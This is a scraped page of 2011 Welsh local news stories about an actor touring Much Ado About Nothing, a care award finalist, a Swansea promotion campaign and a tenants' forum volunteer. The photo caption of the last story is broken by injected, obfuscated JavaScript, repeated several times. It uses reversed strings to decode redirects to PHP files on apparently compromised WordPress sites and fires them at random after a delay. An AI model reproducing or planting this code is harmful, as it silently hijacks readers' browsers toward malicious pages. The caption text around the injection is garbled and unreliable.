Category: News

Much Ado about homecoming

Much Ado150 web 1

Actor Liam Tobin is literally coming home to tackle Shakespeare’s Much Ado About Nothing at the Stiwt Theatre, Rhos later this month.

It’s a home fixture for Wrexham-born Liam who has appeared in top television programmes like Coronation Street, Emmerdale Farm and Heartbeat.

His parents, Lorraine and Patrick, still live in Johnstown and will be in the audience to watch their son play the role of Benedick in one of the Bard’s more popular comedies.

And Liam says he really enjoys getting back home to North Wales and performing at the Stiwt.

He said: “It’s a lovely theatre. I have done a few things before at the Stiwt and audiences are always really appreciative. I think people around the area treasure their theatre and really try and support it.

“My Mum, who grew up in Rhos and Dad will certainly be in the audience. I think they are quite proud of the fact I’m an actor, even though I think they would have preferred to see me in, perhaps, what you might call a more secure profession in the days when I was an up-and-coming actor and desperate for work.”

Liam takes nothing for granted but he has remained busy with plenty of theatre work alongside regular TV appearances on shows such as Coronation Street, Emmerdale, Heartbeat, The Royal, The Cops, Seeing Red and The Second Coming.

Liam said: “I like TV work but I have to say there is something about a live theatre audience that’s just, well, different. With TV work if you get it wrong there’s always the chance to do it again.

“In the theatre you can’t and if it goes wrong, and it always will at some point, no matter how hard you try or how good you are, you have to be able to deal with it. That’s perhaps why I get such a thrill out of theatre and live audiences.”

And with a string of theatre credits to his name Liam is clearly a much sought after actor.

He said: “I have been luck. I have been pretty much able to pick and choose which roles I take on, although like any actor, I am always grateful when offered any role.

“However, Much Ado About Nothing is one of my favourite Shakespeare plays. And although it’s a comedy, it’s also got some very serious messages.

“It’s a tremendous play, a real favourite for those familiar with Shakespeare’s works and a great introduction if you are a Shakespearean novice, it’s accessible and easy to get to grips with.”

He added: “My character, Benedick, is a role I have always wanted to play. He is a real man’s man, a confirmed bachelor, who just happens to fall in love with Beatrice, a cynical spinster with no intention of falling for any man. Of course Benedick can’t understand what is happening or why it’s happening to him.

“But there are lots of twists and turns in the story and quite a bit of tragedy too. There’s another couple, who are perhaps, the complete opposite of Benedick and Beatrice. There’s certainly something there for everyone to enjoy.”

Liam said: “To have the chance to tour with the show is brilliant and stopping off at The Stiwt for a night is brilliant as it gives me a chance to come home.

“But that’s one of the benefits of touring with a show such as Much Ado About Nothing, you get around Britain and see some beautiful places, particularly in Wales.

“And I have worked with Mappamundi Theatre Company and Theatr Mwldan on several other projects and it’s always been fabulous. There a great company to work with and the rest of the cast are absolutely superb.”

Liam, who is 40 in a couple of weeks, says he is the only person in his family to take to the stage although his granddad might well have done a bit of acting.

He said: “My dad, Patrick, is Irish and better known as Paddy. He came across from County Wicklow many years ago in search of work, met mum, who is now a retired classroom assistant, and stayed.

“Dad tells me my grandfather, James, was involved with one of the first films ever made in Ireland so I suppose acting might be in the blood somewhere along the line.  However, I can’t, despite lots of research, find out what the film was called or find out anything about it.

“The truth is I don’t know where it was that I picked up the acting bug but I can’t see myself doing anything else.

“I’m touring with Much Ado until the end of November so this year, as Christmas shows and pantomimes are already in rehearsals; I’m having a bit of time off over Christmas.

“My partner is an actress and she’s down in Milford Haven doing a Christmas show this year so I’ll go and spend a bit of time watching her work.

“In the new year I’m probably touring again with a show I got involved with at the Edinburgh Fringe Festival. And there’s the possibility of some TV work too.”

Liam, who has the distinction of having played three different characters on Coronation Street, admits he’d like to land a starring role in a TV series at some point in the future.

He said: “I suppose I’d be lying if I said I wouldn’t enjoy playing a lead role in a top series. Something like Life on Mars or similar would be tremendous. And things like that open so many doors, it’s all about moving up to the next level I suppose.

“I enjoy TV work though. Corrie was good fun. I first played a clown in 2004, then a photo shop assistant called Dan in 2007 and a policeman in 2009. And in Heartbeat I was a music producer so quite a bit of variety I suppose.

“But no matter how good the TV role it really can’t be as good as theatre. Come along to see Much Ado About Nothing at the Stiwt and I, along with my fellow cast members, will try and show you what I mean.”

Much Ado About Nothing is at The Stiwt Theatre, Rhos near Wrexham on Tuesday, October 25th at 7.30pm. For ticket information call the Box Office on 01978 841300 or visit the website at www.stiwt.co.uk

Tuesday October 18th, 2011

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Linda set for starring role at awards

Care Forum Wales Care awards nominee Linda Jones, Seren Ffestiniog, Blaenau Ffestiniog.

An inspirational social care pioneer is in the running to win a top award.

Mother of three Linda Jones, from Blaenau Ffestiniog, is a finalist in the prestigious Wales Care Awards.

The slate quarrying town of Blaenau Ffestiniog has long been renowned for its community spirit.

She established the aptly-named company, Seren Ffestiniog, in 1996 to provide care, jobs and a future for those with learning difficulties.

From that humble beginning with just two employees and helped with a grant of £5,000, it has grown to a caring business looking after 34 people with learning difficulties with 52 full time employees.

Mrs Jones, 62, was guided by the vision that local people should not have to travel out of the area to find activities to meet their needs.

She explained: “They were being bussed out at 8am and coming back by early evening and I thought they deserved better.”

Now, Mrs Jones been shortlisted in the category for Leading Practice in Learning Disability Services and will hear her fate at a glittering ceremony at Cardiff City Hall on October 21. The award is sponsored by Mental Health Care.

“Our policy has always been to do what the community wants,” she says. And the greatest reward she finds is in the smile of one of the people whose lives are being made better. “However ‘down’ you may feel when you arrive at work you have to respond with a smile yourself,” she says.

 Among the facilities provided by Seren is a small furniture business which locals have affectionately dubbed ‘Harrods’ which renovates donated furniture and also buys new furniture  “for sale to Blaenau people at prices they can afford”, a craft workshop and shop where cards and artwork are sold,  and a clothing shop, all giving jobs to adults with learning difficulties. At Llan Ffestiniog there is a garden nursery supplying local shops, including hanging baskets and kindling.

Mrs Jones, who serves on Gwynedd county council and is managing director of Seren, says sometimes people with disabilities have to cope with those who have looked after them having to move on. “But I would like them to know I intend to be always be here for them,” she promises.

She has established a house where four men with learning difficulties are tenants in their own right, able to make choices with the support of care staff, and another three were supported in their own homes to lead a full and active life.

Her latest project is securing an old people’s home which closed recently and turning it into a 3-star, ten en-suite bedroom hotel for people with learning difficulties and their families to come for holidays or breaks.

Mrs Jones was nominated for the award by care manager Adelyn Ellis. She says : “As a management team we appreciate how her complete dedication, hard work and dynamism has greatly changed and improved the lives of so many people with learning difficulties and also the attitude of the local community towards them.

“Years ago families with children with learning difficulties used to keep them hidden at home or babies were put into institutions. Thankfully, through the work of people like Linda, families today have the required support to enable children and adult with learning difficulties to live independent and fulfilled lives within their own community.”

“Linda herself with some of the care staff go on holiday twice a year with the adults with learning difficulties that we support, usually around 26 of us, and it is like going away on holiday with a large family. She has provided the opportunity to go to Ireland, Blackpool, Llandudno and a coach trip to Euro Disney in 2009 was a huge success.”

“Linda is an inspiration not only to the staff but to the way that the local community perceive and treat individuals with learning difficulties.”

Mario Kreft MBE, the Honorary Chief Executive of Care Forum Wales, said the Wales Care Awards had gone from strength to strength.

He said: “The event is now firmly established as one of the highlights in the Welsh social care calendar.

“The aim is to recognise the unstinting and often remarkable dedication of our unsung heroes and heroines across Wales.

“The care sector is full of wonderful people because it’s not just a job it’s a vocation – these are the people who really do have the X Factor.

“If you don’t recognise the people who do the caring you will never  provide the standards that people need and never recognise the value of the people who need the care in society.

“We need to do all we can to raise the profile of the care sector workforce – they deserve to be lauded and applauded.

“It is a pleasure to honour the contribution of all the finalists. Each and every one of them should be very proud of their achievement.”

Tuesday October 18th, 2011

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TV star Alex is Strictly a Swansea fan

Launch ShowEMBARGOED - Not for Publication before 1930hrs - Tuesday 6 September 2011

TV star Alex Jones took time out of her hectic Strictly Come Dancing schedule to spearhead a campaign to support her favourite city.

The popular One Show presenter, 32, who hails from nearby Ammanford, is backing the new We Love Swansea campaign.

She is one of the best known faces on UK television after taking over from Christine Bleakley on the BBC’s flagship magazine programme.

Alex and her partner, James Jordan,  have made a good start on the hit dance show.

They were awarded 22 out of 40 by the judges and they scored 29 out of 40 for their  their second dance when Edwina Currie was eliminated.

One of the organisers of the We Love Swansea drive is Alan Wallace, the manager of the city’s busy Quadrant Shopping Centre.

Alan’s aim is to spread the word that Swansea is a top shopping and leisure destination and a fantastic place to live and work

He said: “The campaign has got off to a great start and it’s really starting to gain momentum.

“I was absolutely thrilled when Alex agreed to support us even though she is so busy with her One Show duties and competing in Strictly Come Dancing.

“Alex’s profile is sky high at the moment and it’s fantastic that she is so supportive of what we are trying to achieve.

“Our aim is to tell the world what a fabulous place Swansea is – we’ve got so many great shops, places to eat and things to do.

“I am sure the whole of Swansea is right behind Alex in Strictly Come Dancing – I think she’s got a great chance of winning the competition.”

Alex’s television career began working for Welsh language TV channel and in 2009 she took part in The Magnificent Seven, a BAFTA-winning series which saw seven celebrities travel to a ranch in Arizona to learn how to become cowboys.

Alex went on to present BBC Wales’ contribution to the Children in Need network programme from the Millennium Stadium.

She landed the One Show role last year and she hasn’t looked back since. She presents the daily magazine show from London and has become a mainstay on the channel, presenting Eurovision results and Let’s Dance for Comic Relief for BBC1 in 2011.

But Alex’s heart is never far from home and she said: “I am delighted that there is a We Love Swansea campaign because it is a very special place.

“I come back home to the area whenever I possibly can – though Strictly Come Dancing and the One Show are a bit all-consuming at the moment. I am really grateful for the huge support I’m getting from local people.

“Swansea  deserves credit for the way it has developed into an attractive and vibrant city  with a real sense of buzz and energy.

“I love Swansea because it’s one of the friendliest places that I know, with a lovely atmosphere and loads to do.

“People from the Swansea Valley are my kind of people – they are witty, warm and welcoming and they deserve to be treasured and celebrated.”

Tuesday October 18th, 2011

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Supermum Vicky’s extended family

The Green Finger Club received ?2,500 from the Participation Budget initiative through Cartrefi Conwy. With the money they are providing hanging baskets $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to the households on Chester Avenue, Kimmel Bay. Pictured is Phil Jones, Community Involvement Manager, with Alf Roberts and Vicky Downey from the Green finger club..

A mother of three has taken on responsibility for an extended family – of over 3,000.

 Vicky Downey from Kinmel Bay has just been elected as secretary of the Tenants’ Forum of Cartrefi Conwy, the association which took over   the county borough council’s housing stock in 2008. 

And she sees it not just as a way of helping tenants like herself but also as an opportunity to broaden her experience.

 Vicky, 33, who has three daughters of school age, has lived on the Chester Avenue estate for about five years and in that time has taken a key role in the growing number of community activities.

 She is on the committee of the Chester Avenue Community House, which is at the hub of so many activities, and has undertaken several courses organized for tenants including Welsh and manual handling.

 “I don’t like just sitting around when the children are at school,” she said.

 She has been one of the driving forces behind the success of the Green Fingers Club which has done much to transform the appearance of the large estate, which for so long had a reputation for being unkempt and litter-strewn. She is currently chairman of the group.

  Through Cartrefi Conwy’s innovative participatory budgeting scheme, a grant of £2,435 was obtained so that every tenant on the estate was offered a hanging-basket, and planters have been provided in communal areas. The brackets for the baskets were put in place by the association’s building maintenance team.

 “Things have improved and there is a pretty good community spirit here now. I know pretty well everybody on the estate and most of them know me,” said Vicky, who is also involved with the Gateway project aimed at helping the unemployed find work.

 She was persuaded the attend the annual meeting of the Tenants’ Forum which acts as a  link with Cartrefi Conwy’s  board, and agreed to become the firt volunteer secretary, working alongside new chairman John Roberts  and vice-chair Margaret Rawlinson, both from Llanrwst. Until recently, the role of secretary was filled by a member of the association’s staff.

 “It’s early days yet and we haven’t really got started but I know there’ll be a fair bit of work with about 3,800 tenants throughout Conwy,” she said.

 Vicky is hopeful that the skills she acquires in the role, added to those she has already gained through the Community House programme, will help her find employment in the future.

 “I did some bar work before having the children but that’s all, and I would like to go on various other training courses to improve my CV,” she said.

Meanwhile, self-employed joiner John Roberts has been elected chairman of the Tenants’ Forum.

 For the past 16 years John, who originally hails from Dolwyddelan, has lived on the Glanrafon estate, in Llanrwst, which comprises 66 flats and maisonettes. About eight years ago he helped to establish a Tenants’ Association on the estate to campaign for improvements, and he became treasurer of the group.

 Through the Association he became involved in the Tenants’ Forum which at that time represented council-house tenants throughout the county. When Cartrefi Conwy took over he maintained his interest and was rewarded when he was recently elected chairman.

 The first vice-chairman of the Forum is Margaret Rawlinson, who lives in nearby Scotland Road, Llanrwst, and is chairman of the Glanrafon Residents’ Association.

 John, 69, is a firm believer in the benefits of working through the Forum, which helps give the tenants a voice on housing services and knows from experience that he can work well alongside Margaret, who recently helped to acquire a £1,500 grant from Cartrefi Conwy to enable residents to tidy up a scruffy piece of land near their homes.

The Tenants’ Forum is seen by the Board of Cartrefi Conwy as an important medium for keeping tenants informed of policies and projects and as a sounding-board.

Pam Lonie, Chair of the Board, said: “We are committed in all our involvement work to empowering tenants to influence change and to ensure that the way we work allows people of all ages to play an active part.”

Caption: Vicky Downey (right) with Phil Jones, Cartrefi Conwy Community Involvement Manager, and Alf Roberts.

Tuesday October 18th, 2011

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